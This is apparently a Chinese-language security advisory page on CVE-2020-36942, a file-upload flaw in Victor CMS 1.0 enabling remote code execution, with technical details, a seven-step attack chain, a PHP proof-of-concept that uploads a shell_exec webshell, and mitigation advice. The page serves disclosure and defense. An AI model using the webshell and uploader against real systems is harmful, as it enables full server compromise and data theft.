IPBUF安全漏洞报告
English
CVE-2020-36942 CVSS 8.8 高危

CVE-2020-36942 Victor CMS 1.0 文件上传漏洞导致远程代码执行

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36942
漏洞类型
文件上传漏洞
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Victor CMS 1.0

相关标签

文件上传漏洞远程代码执行Victor CMSWebShell权限提升PHP身份验证绕过

漏洞概述

CVE-2020-36942是Victor CMS 1.0版本中的一个高危安全漏洞,CVSS评分高达8.8。该漏洞属于文件上传安全缺陷,存在于用户个人资料图片上传功能中。攻击者只需拥有低权限的认证账号,即可利用此漏洞上传包含恶意代码的PHP文件到服务器。成功利用此漏洞后,攻击者可以在Web服务器的上下文中执行任意系统命令,从而完全控制受影响的系统。此漏洞的危险性在于它允许已认证的低权限用户获取服务器的最高控制权,属于典型的权限提升漏洞。攻击者通常利用此漏洞部署WebShell后门,建立持久化访问通道,进一步渗透内网环境。由于该漏洞利用简单且影响范围广泛,对所有使用Victor CMS 1.0版本的用户构成了严重安全威胁。

技术细节

Victor CMS 1.0在处理用户头像上传时存在严重的文件上传验证缺陷。系统仅检查用户是否登录,而未对上传文件的类型、内容和扩展名进行严格验证。攻击者可以构造包含PHP代码的恶意文件(如webshell.php),通过个人资料设置页面上传到服务器的/img目录。上传的文件可直接通过Web访问,攻击者访问该文件时,服务器会执行其中的PHP代码,从而在服务器上执行任意系统命令。例如,攻击者上传包含system()或exec()函数的PHP文件,通过HTTP请求传递参数即可执行whoami、ls等系统命令。此漏洞的根本原因在于:1)未验证文件MIME类型;2)未检查文件扩展名是否为允许的图片格式;3)未对上传文件内容进行安全扫描;4)上传目录可执行PHP脚本。攻击者利用此漏洞可完全控制Web服务器。

攻击链分析

STEP 1
步骤1
攻击者注册Victor CMS 1.0账号并登录系统,获取有效会话cookie
STEP 2
步骤2
构造包含恶意PHP代码的webshell文件(如shell.php),包含system()或exec()函数用于执行系统命令
STEP 3
步骤3
访问用户个人资料设置页面,通过头像上传功能将webshell作为图片文件上传
STEP 4
步骤4
系统未验证文件类型和内容,webshell被保存到/img目录
STEP 5
步骤5
攻击者通过Web浏览器访问上传的webshell文件,如 http://target.com/img/shell.php?cmd=whoami
STEP 6
步骤6
服务器执行webshell中的PHP代码,攻击者获得服务器系统命令执行权限
STEP 7
步骤7
攻击者可进一步部署后门、窃取数据、横向移动或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2020-36942 PoC - Victor CMS 1.0 File Upload to RCE // Author: security researcher // Description: Upload malicious PHP file via profile image upload $target_url = "http://target-site.com/profile_update.php"; $upload_url = "http://target-site.com/img/"; // Malicious PHP webshell $php_shell = '<?php if(isset($_GET["cmd"])){ $cmd = $_GET["cmd"]; echo "<pre>"; $result = shell_exec($cmd); echo $result; echo "</pre>"; } ?> '; // Create multipart form data $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(8)); $data = "--$boundary\r "; $data .= "Content-Disposition: form-data; name=\"user_id\"\r\n\r "; $data .= "1\r "; $data .= "--$boundary\r "; $data .= "Content-Disposition: form-data; name=\"images\"; filename=\"shell.php\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r "; $data .= $php_shell . "\r "; $data .= "--$boundary--\r\n"; $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Cookie: PHPSESSID=your_session_cookie' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Upload completed. Access shell at: {$upload_url}shell.php?cmd=whoami\n";

影响范围

Victor CMS 1.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)临时禁用头像上传功能,直到官方发布补丁;2)在Web服务器配置中禁止/img目录执行PHP脚本(如在Apache中使用<Directory>或.htaccess设置php_flag engine off);3)部署Web应用防火墙(WAF)规则,检测并拦截恶意文件上传请求;4)限制低权限用户的上传功能,仅允许管理员上传文件;5)加强日志监控,及时发现异常文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表